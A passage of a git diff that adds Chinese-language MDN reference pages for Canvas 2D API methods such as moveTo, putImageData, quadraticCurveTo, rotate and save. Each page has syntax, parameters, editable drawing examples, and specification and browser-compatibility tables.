
+ +

使用 moveTo 方法

+ +

这是一段使用 moveTo 方法的简单的代码片段,移动画笔到起始点绘制一条线。

+ +

HTML

+ +
<canvas id="canvas"></canvas>
+
+ +

JavaScript

+ +
var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+
+ctx.beginPath();
+ctx.moveTo(50,50);
+ctx.lineTo(200, 50);
+ctx.stroke();
+
+ +

修改下面的代码并在线查看 canvas 的变化:

+ +
+
Playable code
+ +
<canvas id="canvas" width="400" height="200" class="playable-canvas"></canvas>
+<div class="playable-buttons">
+  <input id="edit" type="button" value="Edit" />
+  <input id="reset" type="button" value="Reset" />
+</div>
+<textarea id="code" class="playable-code">
+ctx.beginPath();
+ctx.moveTo(50,50);
+ctx.lineTo(200, 50);
+ctx.stroke()</textarea>
+
+ +
var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+var textarea = document.getElementById("code");
+var reset = document.getElementById("reset");
+var edit = document.getElementById("edit");
+var code = textarea.value;
+
+function drawCanvas() {
+  ctx.clearRect(0, 0, canvas.width, canvas.height);
+  eval(textarea.value);
+}
+
+reset.addEventListener("click", function() {
+  textarea.value = code;
+  drawCanvas();
+});
+
+edit.addEventListener("click", function() {
+  textarea.focus();
+})
+
+textarea.addEventListener("input", drawCanvas);
+window.addEventListener("load", drawCanvas);
+
+
+ +

{{ EmbedLiveSample('Playable_code', 700, 360) }}

+ +

规范描述

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-moveto", "CanvasRenderingContext2D.moveTo")}}{{Spec2('HTML WHATWG')}} 
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +

参见

+ + diff --git a/files/zh-cn/web/api/canvasrenderingcontext2d/putimagedata/index.html b/files/zh-cn/web/api/canvasrenderingcontext2d/putimagedata/index.html new file mode 100644 index 0000000000..2719f7901c --- /dev/null +++ b/files/zh-cn/web/api/canvasrenderingcontext2d/putimagedata/index.html @@ -0,0 +1,242 @@ +--- +title: CanvasRenderingContext2D.putImageData() +slug: Web/API/CanvasRenderingContext2D/putImageData +translation_of: Web/API/CanvasRenderingContext2D/putImageData +--- +
{{APIRef}}
+ +

CanvasRenderingContext2D.putImageData() 是 Canvas 2D API 将数据从已有的 {{domxref("ImageData")}} 对象绘制到位图的方法。 如果提供了一个绘制过的矩形,则只绘制该矩形的像素。此方法不受画布转换矩阵的影响。

+ +

语法

+ +
void ctx.putImageData(imagedata, dx, dy);
+void ctx.putImageData(imagedata, dx, dy, dirtyX, dirtyY, dirtyWidth, dirtyHeight);
+
+ +

参数

+ +

imageData

+ +

     {{domxref("ImageData")}} ,包含像素值的数组对象。

+ +
+
dx
+
源图像数据在目标画布中的位置偏移量(x 轴方向的偏移量)。
+
dy
+
源图像数据在目标画布中的位置偏移量(y 轴方向的偏移量)。
+
dirtyX {{optional_inline}}
+
在源图像数据中,矩形区域左上角的位置。默认是整个图像数据的左上角(x 坐标)。
+
dirtyY {{optional_inline}}
+
在源图像数据中,矩形区域左上角的位置。默认是整个图像数据的左上角(y 坐标)。
+
dirtyWidth {{optional_inline}}
+
在源图像数据中,矩形区域的宽度。默认是图像数据的宽度。
+
dirtyHeight {{optional_inline}}
+
在源图像数据中,矩形区域的高度。默认是图像数据的高度。
+
+ +

抛出错误

+ +
+
NotSupportedError
+
如果任何一个变量被设置成无穷大,则会抛出此错误。
+
InvalidStateError
+
如果过图像数据对象的数据被分离,会抛出此错误。
+
+ +

示例

+ +

理解putImageData

+ +

通过{{domxref("CanvasRenderingContext2D.fillRect()")}}方法实现,更好地理解putImageData的执行算法. 获取更多信息,参见 使用Canvas控制像素 和 {{domxref("ImageData")}} 对象。

+ +

HTML

+ +
<canvas id="canvas"></canvas>
+
+ +

JavaScript

+ +
var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+
+function putImageData(ctx, imageData, dx, dy,
+    dirtyX, dirtyY, dirtyWidth, dirtyHeight) {
+  var data = imageData.data;
+  var height = imageData.height;
+  var width = imageData.width;
+  dirtyX = dirtyX || 0;
+  dirtyY = dirtyY || 0;
+  dirtyWidth = dirtyWidth !== undefined? dirtyWidth: width;
+  dirtyHeight = dirtyHeight !== undefined? dirtyHeight: height;
+  var limitBottom = dirtyY + dirtyHeight;
+  var limitRight = dirtyX + dirtyWidth;
+  for (var y = dirtyY; y < limitBottom; y++) {
+    for (var x = dirtyX; x < limitRight; x++) {
+      var pos = y * width + x;
+      ctx.fillStyle = 'rgba(' + data[pos*4+0]
+                        + ',' + data[pos*4+1]
+                        + ',' + data[pos*4+2]
+                        + ',' + (data[pos*4+3]/255) + ')';
+      ctx.fillRect(x + dx, y + dy, 1, 1);
+    }
+  }
+}
+
+// Draw content onto the canvas
+ctx.fillRect(0,0,100,100);
+// Create an ImageData object from it
+var imagedata = ctx.getImageData(0,0,100,100);
+// use the putImageData function that illustrates how putImageData works
+putImageData(ctx, imagedata, 150, 0, 50, 50, 25, 25);
+
+ +

修改下面的代码并在线查看 canvas 的变化:

+ +
+
Playable code
+ +
<canvas id="canvas" width="400" height="200" class="playable-canvas"></canvas>
+<div class="playable-buttons">
+  <input id="edit" type="button" value="Edit" />
+  <input id="reset" type="button" value="Reset" />
+</div>
+<textarea id="code" class="playable-code">
+ctx.fillRect(0,0,100,100);
+var imagedata = ctx.getImageData(0,0,100,100);
+putImageData(ctx, imagedata, 150, 0, 50, 50, 25, 25);</textarea>
+
+ +
var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+var textarea = document.getElementById("code");
+var reset = document.getElementById("reset");
+var edit = document.getElementById("edit");
+var code = textarea.value;
+
+function drawCanvas() {
+  ctx.clearRect(0, 0, canvas.width, canvas.height);
+  eval(textarea.value);
+}
+
+reset.addEventListener("click", function() {
+  textarea.value = code;
+  drawCanvas();
+});
+
+edit.addEventListener("click", function() {
+  textarea.focus();
+})
+
+textarea.addEventListener("input", drawCanvas);
+window.addEventListener("load", drawCanvas);
+
+function putImageData(ctx, imageData, dx, dy,
+    dirtyX, dirtyY, dirtyWidth, dirtyHeight) {
+  var data = imageData.data;
+  var height = imageData.height;
+  var width = imageData.width;
+  dirtyX = dirtyX || 0;
+  dirtyY = dirtyY || 0;
+  dirtyWidth = dirtyWidth !== undefined? dirtyWidth: width;
+  dirtyHeight = dirtyHeight !== undefined? dirtyHeight: height;
+  var limitBottom = dirtyY + dirtyHeight;
+  var limitRight = dirtyX + dirtyWidth;
+  for (var y = dirtyY; y < limitBottom; y++) {
+    for (var x = dirtyX; x < limitRight; x++) {
+      var pos = y * width + x;
+      ctx.fillStyle = 'rgba(' + data[pos*4+0]
+                        + ',' + data[pos*4+1]
+                        + ',' + data[pos*4+2]
+                        + ',' + (data[pos*4+3]/255) + ')';
+      ctx.fillRect(x + dx, y + dy, 1, 1);
+    }
+  }
+}
+
+
+ +

{{ EmbedLiveSample('Playable_code', 700, 360) }}

+ +

规范描述

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-putimagedata", "CanvasRenderingContext2D.putImageData")}}{{Spec2('HTML WHATWG')}} 
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +

兼容性注解

+ + + +

参见

+ + diff --git a/files/zh-cn/web/api/canvasrenderingcontext2d/quadraticcurveto/index.html b/files/zh-cn/web/api/canvasrenderingcontext2d/quadraticcurveto/index.html new file mode 100644 index 0000000000..d1794c5043 --- /dev/null +++ b/files/zh-cn/web/api/canvasrenderingcontext2d/quadraticcurveto/index.html @@ -0,0 +1,214 @@ +--- +title: CanvasRenderingContext2D.quadraticCurveTo() +slug: Web/API/CanvasRenderingContext2D/quadraticCurveTo +tags: + - Canvas + - CanvasRenderingContext2D +translation_of: Web/API/CanvasRenderingContext2D/quadraticCurveTo +--- +
{{APIRef}}
+ +

CanvasRenderingContext2D.quadraticCurveTo() 是 Canvas 2D API 新增二次贝塞尔曲线路径的方法。它需要2个点。 第一个点是控制点,第二个点是终点。 起始点是当前路径最新的点,当创建二次贝赛尔曲线之前,可以使用 moveTo() 方法进行改变。

+ +

语法

+ +
void ctx.quadraticCurveTo(cpx, cpy, x, y);
+
+ +

参数

+ +
+
cpx
+
控制点的 x 轴坐标。
+
cpy
+
控制点的 y 轴坐标。
+
x
+
终点的 x 轴坐标。
+
y
+
终点的 y 轴坐标。
+
+ +

示例

+ +

quadraticCurveTo 如何工作

+ +

这是一段绘制二次贝赛尔曲线的简单的代码片段。 控制点是红色起点和终点是蓝色。

+ +

HTML

+ +
<canvas id="canvas"></canvas>
+
+ +

JavaScript

+ +
const canvas = document.getElementById('canvas');
+const ctx = canvas.getContext('2d');
+
+// Quadratic Bézier curve
+ctx.beginPath();
+ctx.moveTo(50, 20);
+ctx.quadraticCurveTo(230, 30, 50, 100);
+ctx.stroke();
+
+// Start and end points
+ctx.fillStyle = 'blue';
+ctx.beginPath();
+ctx.arc(50, 20, 5, 0, 2 * Math.PI);   // Start point
+ctx.arc(50, 100, 5, 0, 2 * Math.PI);  // End point
+ctx.fill();
+
+// Control point
+ctx.fillStyle = 'red';
+ctx.beginPath();
+ctx.arc(230, 30, 5, 0, 2 * Math.PI);
+ctx.fill();
+ + + +

{{ EmbedLiveSample('Using_the_quadraticCurveTo_method', 315, 165) }}

+ +

简单的二次曲线

+ +

此示例使用quadraticCurveTo()绘制了简单的二次Bézier曲线。

+ +

HTML

+ +
<canvas id="canvas"></canvas>
+
+ +

JavaScript

+ +

曲线从moveTo()指定的点开始: (20, 110)。 控制点位于(230, 150)。 曲线在(250, 20)处结束。

+ +
const canvas = document.getElementById('canvas');
+const ctx = canvas.getContext('2d');
+
+ctx.beginPath();
+ctx.moveTo(20, 110);
+ctx.quadraticCurveTo(230, 150, 250, 20);
+ctx.stroke();
+
+ +

结果

+ + + +
+
<canvas id="canvas" width="400" height="200" class="playable-canvas"></canvas>
+<div class="playable-buttons">
+  <input id="edit" type="button" value="Edit" />
+  <input id="reset" type="button" value="Reset" />
+</div>
+<textarea id="code" class="playable-code">
+ctx.beginPath();
+ctx.moveTo(50,20);
+ctx.quadraticCurveTo(230, 30, 50, 100);
+ctx.stroke();</textarea>
+
+ +
var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+var textarea = document.getElementById("code");
+var reset = document.getElementById("reset");
+var edit = document.getElementById("edit");
+var code = textarea.value;
+
+function drawCanvas() {
+  ctx.clearRect(0, 0, canvas.width, canvas.height);
+  eval(textarea.value);
+}
+
+reset.addEventListener("click", function() {
+  textarea.value = code;
+  drawCanvas();
+});
+
+edit.addEventListener("click", function() {
+  textarea.focus();
+})
+
+textarea.addEventListener("input", drawCanvas);
+window.addEventListener("load", drawCanvas);
+
+
+ +

{{ EmbedLiveSample('Trying_the_quadraticCurveTo_parameters', 700, 360) }}

+ +

规范描述

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-quadraticcurveto", "CanvasRenderingContext2D.quadraticCurveTo")}}{{Spec2('HTML WHATWG')}}
+ +

浏览器兼容性

+ + + +

{{Compat("api.CanvasRenderingContext2D.quadraticCurveTo")}}

+ + diff --git a/files/zh-cn/web/api/canvasrenderingcontext2d/rect/index.html b/files/zh-cn/web/api/canvasrenderingcontext2d/rect/index.html new file mode 100644 index 0000000000..4053d0f387 --- /dev/null +++ b/files/zh-cn/web/api/canvasrenderingcontext2d/rect/index.html @@ -0,0 +1,167 @@ +--- +title: CanvasRenderingContext2D.rect() +slug: Web/API/CanvasRenderingContext2D/rect +translation_of: Web/API/CanvasRenderingContext2D/rect +--- +
{{APIRef}}
+ +

CanvasRenderingContext2D.rect() 是 Canvas 2D API 创建矩形路径的方法,矩形的起点位置是 (x, y) ,尺寸为 width 和 height。矩形的4个点通过直线连接,子路径做为闭合的标记,所以你可以填充或者描边矩形。

+ +

语法

+ +
void ctx.rect(x, y, width, height);
+
+ +

参数

+ +
+
x
+
矩形起点的 x 轴坐标。
+
y
+
矩形起点的 y 轴坐标。
+
width
+
矩形的宽度。
+
height
+
矩形的高度。
+
+ +

示例

+ +

使用 rect 方法

+ +

这是一段简单的代码片段,使用 rect 方法创建一条路径。 实际上,在 canvas 中绘制矩形路径, 你可以使用 {{domxref("CanvasRenderingContext2D.fill", "fill()")}} 或者 {{domxref("CanvasRenderingContext2D.stroke", "stroke()")}} 方法。 参见 {{domxref("CanvasRenderingContext2D.fillRect", "fillRect()")}} 和{{domxref("CanvasRenderingContext2D.strokeRect", "strokeRect()")}} 方法, 只需一步即可绘制。

+ +

HTML

+ +
<canvas id="canvas"></canvas>
+
+ +

JavaScript

+ +
var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+ctx.rect(10, 10, 100, 100);
+ctx.fill();
+
+ +

修改下面的代码并在线查看 canvas 的变化:

+ +
+
Playable code
+ +
<canvas id="canvas" width="400" height="200" class="playable-canvas"></canvas>
+<div class="playable-buttons">
+  <input id="edit" type="button" value="Edit" />
+  <input id="reset" type="button" value="Reset" />
+</div>
+<textarea id="code" class="playable-code">
+ctx.rect(10, 10, 100, 100);
+ctx.fill();</textarea>
+
+ +
var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+var textarea = document.getElementById("code");
+var reset = document.getElementById("reset");
+var edit = document.getElementById("edit");
+var code = textarea.value;
+
+function drawCanvas() {
+  ctx.clearRect(0, 0, canvas.width, canvas.height);
+  eval(textarea.value);
+}
+
+reset.addEventListener("click", function() {
+  textarea.value = code;
+  drawCanvas();
+});
+
+edit.addEventListener("click", function() {
+  textarea.focus();
+})
+
+textarea.addEventListener("input", drawCanvas);
+window.addEventListener("load", drawCanvas);
+
+
+ +

{{ EmbedLiveSample('Playable_code', 700, 360) }}

+ +

规范描述

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-rect", "CanvasRenderingContext2D.rect")}}{{Spec2('HTML WHATWG')}} 
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +

参见

+ + diff --git a/files/zh-cn/web/api/canvasrenderingcontext2d/removehitregion/index.html b/files/zh-cn/web/api/canvasrenderingcontext2d/removehitregion/index.html new file mode 100644 index 0000000000..1f9e7862a0 --- /dev/null +++ b/files/zh-cn/web/api/canvasrenderingcontext2d/removehitregion/index.html @@ -0,0 +1,126 @@ +--- +title: CanvasRenderingContext2D.removeHitRegion() +slug: Web/API/CanvasRenderingContext2D/removeHitRegion +translation_of: Web/API/CanvasRenderingContext2D/removeHitRegion +--- +
{{APIRef}} {{obsolete_header}}
+ +

CanvasRenderingContext2D.removeHitRegion() 是 Canvas 2D API 删除canvas中已存在的碰撞区域的方法。

+ +

语法

+ +
void ctx.removeHitRegion(id);
+
+ +

参数

+ +
+
id
+
{{domxref("DOMString")}}字符串,描述将要被删除区域的 id。
+
+ +

示例

+ +

使用 removeHitRegion 方法

+ +

这是一段使用 removeHitRegion 方法的简单的代码片段。

+ +

HTML

+ +
<canvas id="canvas"></canvas>
+
+ +

JavaScript

+ +
var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+
+// set a hit region
+ctx.addHitRegion({id: "eyes"});
+
+// remove it from the canvas
+ctx.removeHitRegion("eyes");
+
+ +

规范描述

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-removehitregion", "CanvasRenderingContext2D.removeHitRegion")}}{{Spec2('HTML WHATWG')}}
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}[1]{{CompatGeckoDesktop(30)}} [2]{{ CompatNo }}{{ CompatNo }}{{ CompatNo }}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatNo }}{{ CompatNo }}{{CompatGeckoDesktop(30)}} [2]{{ CompatNo }}{{ CompatNo }}{{ CompatNo }}
+
+ +

兼容性注解

+ + + +

参见

+ + diff --git a/files/zh-cn/web/api/canvasrenderingcontext2d/resettransform/index.html b/files/zh-cn/web/api/canvasrenderingcontext2d/resettransform/index.html new file mode 100644 index 0000000000..47a91eacbf --- /dev/null +++ b/files/zh-cn/web/api/canvasrenderingcontext2d/resettransform/index.html @@ -0,0 +1,161 @@ +--- +title: CanvasRenderingContext2D.resetTransform() +slug: Web/API/CanvasRenderingContext2D/resetTransform +translation_of: Web/API/CanvasRenderingContext2D/resetTransform +--- +
{{APIRef}} {{SeeCompatTable}}
+ +

CanvasRenderingContext2D.resetTransform() 是 Canvas 2D API 使用单位矩阵重新设置当前变形的方法。

+ +

语法

+ +
void ctx.resetTransform();
+
+ +

示例

+ +

使用 resetTransform 方法

+ +

这是一段使用 resetTransform 方法的简单的代码片段。

+ +

HTML

+ +
<canvas id="canvas"></canvas>
+
+ +

JavaScript

+ +
var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+
+ctx.rotate(45 * Math.PI / 180);
+ctx.fillRect(70,0,100,30);
+
+// reset current transformation matrix to the identity matrix
+ctx.resetTransform();
+
+ +

修改下面的代码并在线查看 canvas 的变化:

+ +
+
Playable code
+ +
<canvas id="canvas" width="400" height="200" class="playable-canvas"></canvas>
+<div class="playable-buttons">
+  <input id="edit" type="button" value="Edit" />
+  <input id="reset" type="button" value="Reset" />
+</div>
+<textarea id="code" class="playable-code">
+ctx.rotate(45 * Math.PI / 180);
+ctx.fillRect(70,0,100,30);
+ctx.resetTransform();</textarea>
+
+ +
var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+var textarea = document.getElementById("code");
+var reset = document.getElementById("reset");
+var edit = document.getElementById("edit");
+var code = textarea.value;
+
+function drawCanvas() {
+  ctx.clearRect(0, 0, canvas.width, canvas.height);
+  eval(textarea.value);
+}
+
+reset.addEventListener("click", function() {
+  textarea.value = code;
+  drawCanvas();
+});
+
+edit.addEventListener("click", function() {
+  textarea.focus();
+})
+
+textarea.addEventListener("input", drawCanvas);
+window.addEventListener("load", drawCanvas);
+
+
+ +

{{ EmbedLiveSample('Playable_code', 700, 360) }}

+ +

综合设置

+ +

你可以使用 {{domxref("CanvasRenderingContext2D.setTransform()")}} 方法重新设置当前变形为单位矩阵,如下:

+ +
ctx.setTransform(1, 0, 0, 1, 0, 0);
+ +

规范描述

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-resettransform", "CanvasRenderingContext2D.resetTransform")}}{{Spec2('HTML WHATWG')}} 
+ +

浏览器兼容性

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support31{{CompatGeckoDesktop(36)}}{{ CompatNo }}{{ CompatNo }}{{ CompatNo }}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatNo }}{{ CompatNo }}{{CompatGeckoMobile(36)}}{{ CompatNo }}{{ CompatNo }}{{ CompatNo }}
+
+ +

参见

+ + diff --git a/files/zh-cn/web/api/canvasrenderingcontext2d/restore/index.html b/files/zh-cn/web/api/canvasrenderingcontext2d/restore/index.html new file mode 100644 index 0000000000..c35d6ce849 --- /dev/null +++ b/files/zh-cn/web/api/canvasrenderingcontext2d/restore/index.html @@ -0,0 +1,161 @@ +--- +title: CanvasRenderingContext2D.restore() +slug: Web/API/CanvasRenderingContext2D/restore +translation_of: Web/API/CanvasRenderingContext2D/restore +--- +
{{APIRef}}
+ +

CanvasRenderingContext2D.restore() 是 Canvas 2D API 通过在绘图状态栈中弹出顶端的状态,将 canvas 恢复到最近的保存状态的方法。 如果没有保存状态,此方法不做任何改变。

+ +

语法

+ +
void ctx.restore();
+ +

更多关于 drawing state 的信息, 请看 {{domxref("CanvasRenderingContext2D.save()")}}。

+ +

示例

+ +

使用 restore 方法

+ +

这是一段简单的代码片段,使用 save() 方法保存默认的状态,使用 restore() 进行恢复。 所以,稍后你可以使用默认的状态绘制一个矩形。

+ +

HTML

+ +
<canvas id="canvas"></canvas>
+
+ +

JavaScript

+ +
var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+
+ctx.save(); // save the default state
+
+ctx.fillStyle = "green";
+ctx.fillRect(10, 10, 100, 100);
+
+ctx.restore(); // restore to the default state
+ctx.fillRect(150, 75, 100, 100);
+
+ +

修改下面的代码并在线查看 canvas 的变化:

+ +
+
Playable code
+ +
<canvas id="canvas" width="400" height="200" class="playable-canvas"></canvas>
+<div class="playable-buttons">
+  <input id="edit" type="button" value="Edit" />
+  <input id="reset" type="button" value="Reset" />
+</div>
+<textarea id="code" class="playable-code">
+ctx.save();
+ctx.fillStyle = "green";
+ctx.fillRect(10, 10, 100, 100);
+ctx.restore();
+ctx.fillRect(150, 75, 100, 100);</textarea>
+
+ +
var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+var textarea = document.getElementById("code");
+var reset = document.getElementById("reset");
+var edit = document.getElementById("edit");
+var code = textarea.value;
+
+function drawCanvas() {
+  ctx.clearRect(0, 0, canvas.width, canvas.height);
+  eval(textarea.value);
+}
+
+reset.addEventListener("click", function() {
+  textarea.value = code;
+  drawCanvas();
+});
+
+edit.addEventListener("click", function() {
+  textarea.focus();
+})
+
+textarea.addEventListener("input", drawCanvas);
+window.addEventListener("load", drawCanvas);
+
+
+ +

{{ EmbedLiveSample('Playable_code', 700, 360) }}

+ +

规范描述

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-restore", "CanvasRenderingContext2D.restore")}}{{Spec2('HTML WHATWG')}} 
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +

参见

+ + diff --git a/files/zh-cn/web/api/canvasrenderingcontext2d/rotate/index.html b/files/zh-cn/web/api/canvasrenderingcontext2d/rotate/index.html new file mode 100644 index 0000000000..f6ae42b495 --- /dev/null +++ b/files/zh-cn/web/api/canvasrenderingcontext2d/rotate/index.html @@ -0,0 +1,172 @@ +--- +title: CanvasRenderingContext2D.rotate() +slug: Web/API/CanvasRenderingContext2D/rotate +tags: + - API + - Canvas + - CanvasRenderingContext2D + - 引用 + - 方法 +translation_of: Web/API/CanvasRenderingContext2D/rotate +--- +
{{APIRef}}
+ +

CanvasRenderingContext2D.rotate() 是 Canvas 2D API 在变换矩阵中增加旋转的方法。角度变量表示一个顺时针旋转角度并且用弧度表示。

+ +

语法

+ +
void ctx.rotate(angle);
+
+ +

+ +

参数

+ +
+
angle
+
顺时针旋转的弧度。如果你想通过角度值计算,可以使用公式: degree * Math.PI / 180 。
+
+ +

旋转中心点一直是 canvas 的起始点。 如果想改变中心点,我们可以通过 {{domxref("CanvasRenderingContext2D.translate", "translate()")}} 方法移动 canvas 。

+ +

示例

+ +

使用 rotate 方法

+ +

这是一段使用 rotate 方法的简单的代码片段。

+ +

HTML

+ +
<canvas id="canvas"></canvas>
+
+ +

JavaScript

+ +
var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+
+ctx.rotate(45 * Math.PI / 180);
+ctx.fillRect(70,0,100,30);
+
+// reset current transformation matrix to the identity matrix
+ctx.setTransform(1, 0, 0, 1, 0, 0);
+
+ +

修改下面的代码并在线查看 canvas 的变化:

+ +
+
Playable code
+ +
<canvas id="canvas" width="400" height="200" class="playable-canvas"></canvas>
+<div class="playable-buttons">
+  <input id="edit" type="button" value="Edit" />
+  <input id="reset" type="button" value="Reset" />
+</div>
+<textarea id="code" class="playable-code">
+ctx.rotate(45 * Math.PI / 180);
+ctx.fillRect(70,0,100,30);
+ctx.setTransform(1, 0, 0, 1, 0, 0);</textarea>
+
+ +
var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+var textarea = document.getElementById("code");
+var reset = document.getElementById("reset");
+var edit = document.getElementById("edit");
+var code = textarea.value;
+
+function drawCanvas() {
+  ctx.clearRect(0, 0, canvas.width, canvas.height);
+  eval(textarea.value);
+}
+
+reset.addEventListener("click", function() {
+  textarea.value = code;
+  drawCanvas();
+});
+
+edit.addEventListener("click", function() {
+  textarea.focus();
+})
+
+textarea.addEventListener("input", drawCanvas);
+window.addEventListener("load", drawCanvas);
+
+
+ +

{{ EmbedLiveSample('Playable_code', 700, 360) }}

+ +

规范描述

+ + + + + + + + + + + + + + +
规范状态注释
{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-rotate", "CanvasRenderingContext2D.rotate")}}{{Spec2('HTML WHATWG')}} 
+ +

浏览器兼容性

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
特性ChromeFirefox (Gecko)Internet ExplorerOperaSafari
基础支持{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
特性AndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
基础支持{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
+
+ +

参见

+ + diff --git a/files/zh-cn/web/api/canvasrenderingcontext2d/save/index.html b/files/zh-cn/web/api/canvasrenderingcontext2d/save/index.html new file mode 100644 index 0000000000..167c40fd19 --- /dev/null +++ b/files/zh-cn/web/api/canvasrenderingcontext2d/save/index.html @@ -0,0 +1,170 @@ +--- +title: CanvasRenderingContext2D.save() +slug: Web/API/CanvasRenderingContext2D/save +translation_of: Web/API/CanvasRenderingContext2D/save +--- +
{{APIRef}}
+ +

CanvasRenderingContext2D.save() 是 Canvas 2D API 通过将当前状态放入栈中,保存 canvas 全部状态的方法。

+ +

语法

+ +
void ctx.save();
+ +

绘制状态

+ +

保存到栈中的绘制状态有下面部分组成:

+ + + +

示例

+ +

使用 save 方法

+ +

这是一段简单的代码片段,使用 save 方法保存默认的状态,这样,稍后你就可以使用默认的设置绘制一个矩形。

+ +

HTML

+ +
<canvas id="canvas"></canvas>
+
+ +

JavaScript

+ +
var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+
+ctx.save(); // 保存默认的状态
+
+ctx.fillStyle = "green";
+ctx.fillRect(10, 10, 100, 100);
+
+ctx.restore(); // 还原到上次保存的默认状态
+ctx.fillRect(150, 75, 100, 100);
+
+ +

修改下面的代码并在线查看 canvas 的变化:

+ +
+
Playable code
+ +
<canvas id="canvas" width="400" height="200" class="playable-canvas"></canvas>
+<div class="playable-buttons">
+  <input id="edit" type="button" value="Edit" />
+  <input id="reset" type="button" value="Reset" />
+</div>
+<textarea id="code" class="playable-code">
+ctx.save();
+ctx.fillStyle = "green";
+ctx.fillRect(10, 10, 100, 100);
+ctx.restore();
+ctx.fillRect(150, 75, 100, 100);</textarea>
+
+ +
var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
